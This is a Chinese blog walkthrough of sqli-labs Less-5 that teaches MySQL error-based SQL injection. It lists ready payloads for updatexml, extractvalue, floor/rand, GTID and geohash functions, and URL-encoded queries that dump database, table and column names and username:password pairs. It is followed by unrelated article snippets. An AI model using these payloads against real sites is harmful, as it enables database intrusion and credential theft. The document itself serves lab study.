SQL注入漏洞解析--less-5

1.进入第五关我们先看提示

2.还是说让我们输入一个id数字,那我们就输入一个先看一下

3.根据页面结果得知虽然有显示,但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求出错显示,其余的就没有了。这个时候我们用联合查询就没有用,因为联合查询是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择报错注入。

报错注入主要用到这七个函数。

  1. updatexml
  2. extractvalue
  3. ST_LatFromGeoHash()
  4. ST_LongFromGeoHash
  5. GTID_SUBSET() 、GTID_SUBTRACT()
  6. floor
  7. ST_Pointfromgeohash 

4.他们分别的语法是:

# 报错注入7大常用函数### 1.ST_LatFromGeoHash()(mysql>=5.7.x)#### payload```
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
```### 2.ST_LongFromGeoHash(mysql>=5.7.x)#### payload```
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
```### 3.GTID (MySQL >= 5.6.X - 显错<=200)#### 0x01 GTIDGTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的#### GTID_SUBSET() 和 GTID_SUBTRACT()函数#### 0X02 函数详解GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)#### 0x03 注入过程( payload )```
GTID_SUBSET函数') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+GTID_SUBTRACT') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
```函数都是那样,只是适用的版本不同### 4.floor(8.x>mysql>5.0)count floor rand group by统计   向下取整  生成随机数 分组#### 获取数据库版本信息```
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+select count(*), concat(version(), floor(rand(0) * 2))x from information
```# 获取当前数据库```
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```#获取表数据```
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```#获取users表里的段名```
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
```### 5.ST_Pointfromgeohash (mysql>=5.7)#### 获取数据库版本信息```
')or ST_PointFromGeoHash(version(),1)--+
```#### 获取表数据```
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
```#### 获取users表里的段名```
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
```#### 获取字段里面的数据```
')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
```### 6 updatexml ( 最大容纳32字节 超过32字节不显示)substring截取```
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
```### 7 extractvalue```
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数```

5.回到这道题上,我们就可以使用其中的函数来进行注入:

 6.当我们正常使用函数时,显示和我们输入id一样了;但是我们要使用报错注入,很显然没有报错,什么原因呢?

这个第二个位置是查询的文件路径,我们这里输的database他没有查到...

我们可以用一个concat连接连接函数连接一下再看

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

 7.成功拿到数据库名,那接下来就好办了

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)--+

 

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"),0x7e),1)--+

8.哈哈,好像是拿下了

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--+

9.但是结果只显示了一点点,显示不完整,,因为updatexml函数最大容纳32字节,我们截取字段看一下是不是

10.这样我们就能够看到所有的数据信息了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/493427.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据安全治理实践路线(中)

数据安全建设阶段主要对数据安全规划进行落地实施&#xff0c;建成与组织相适应的数据安全治理能力&#xff0c;包括组织架构的建设、制度体系的完善、技术工具的建立和人员能力的培养等。通过数据安全规划&#xff0c;组织对如何从零开始建设数据安全治理体系有了一定认知&…

linux提权之sudo风暴

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收藏 …

算法--贪心

这里写目录标题 区间问题区间选点引入算法思想例题代码 最大不相交区间的数量算法思想例题代码 区间分组算法思想例题代码 一级目录二级目录二级目录二级目录 区间问题 区间选点 引入 区间问题会给定几个区间&#xff0c;之后要求我们在数轴上选取尽量少的点&#xff0c;使得…

[NOIP2011 普及组] 数字反转

AC代码&#xff1a; #include<iostream>using namespace std;int main() {long long n;cin >> n;long long temp n;long long sum 0;while(temp ! 0){int c temp % 10;sum sum * 10 c;temp temp / 10;}printf("%lld",sum);return 0; }

11个Linux性能分析命令

Linux性能分析命令有很多&#xff0c;不同的命令可以用来监控不同的系统资源和活动。根据您的问题&#xff0c;我为您推荐以下11个常用的Linux性能分析命令&#xff1a; uptime&#xff1a;显示系统的运行时间和平均负载。dmesg&#xff1a;显示系统的启动信息和内核的日志信息…

函数——递归6(c++)

角谷猜想 题目描述 日本一位中学生发现一个奇妙的 定理&#xff0c;请角谷教授证明&#xff0c;而教授 无能为力&#xff0c;于是产生了角谷猜想。 猜想的内容&#xff1a;任给一个自然数&#xff0c; 若为偶数则除以2&#xff0c;若为奇数则乘 3加1&#xff0c;得到一个新的…

Gitlab 设置页面语言为简体中文

1.用户登录&#xff0c;点击头像&#xff0c;再点击Preferences&#xff08;偏好设置&#xff09; 2.向下滑动&#xff0c;找到 Localization&#xff08;本地化&#xff09;&#xff0c;进行修改&#xff0c;并保存 3.刷新页面&#xff0c;就更改成简体中文了

亿道丨三防平板电脑厂家丨三防平板PDA丨三防工业平板:数字时代

在当今数字化时代&#xff0c;我们身边的世界变得越来越依赖于智能设备和无线连接。其中&#xff0c;三防平板PDA&#xff08;Personal Digital Assistant&#xff09;作为一种功能强大且耐用的数字工具&#xff0c;正在引领我们进入数字世界的全新征程。 三防平板PDA结合了平板…

基于 ResNet50和 SVM + 决策树的人脸口罩检测

欢迎收看&#xff0c;这篇文章是关于我如何使用 ResNet50作为特征提取器来构建掩码检测&#xff0c;然后使用支持向量机(SVM) 决策树和叠加集成方法作为分类器的一个快速解释。 为了向研究人员致敬&#xff0c;这个应用程序是基于研究论文&#xff0c;题目是“在2019冠状病毒…

什么是DOM?(详解)

什么是DOM&#xff1f; DOM的定义知识回顾什么是D&#xff1f;什么是O&#xff1f;什么是M&#xff1f;什么是DOM树&#xff1f;根节点对象与节点对象 DOM树简单举例DOM的主要用途 DOM的定义 DOM&#xff08;Document Object Model&#xff0c;文档对象模型&#xff09; W3C对…

系统性能提升70%!华润万家某核心系统数据库升级实践

华润万家是华润集团旗下优秀零售连锁企业&#xff0c;业务覆盖中国内地及香港市场&#xff0c;面对万家众多业务需求和互相关联的业务环境&#xff0c;亟需加强各业务耦合性&#xff0c;以适应线上、线下、物流、财务等各个业务环境的快速发展。 随着信息技术的快速发展和数字化…

设计模式(八)外观模式

相关文章设计模式系列 1.外观模式简介 外观模式介绍 当我们开发Android的时候&#xff0c;无论是做SDK还是封装API&#xff0c;我们大多都会用到外观模式&#xff0c;它通过一个外观类使得整个系统的结构只有一个统一的高层接口&#xff0c;这样能降低用户的使用成本。 外观…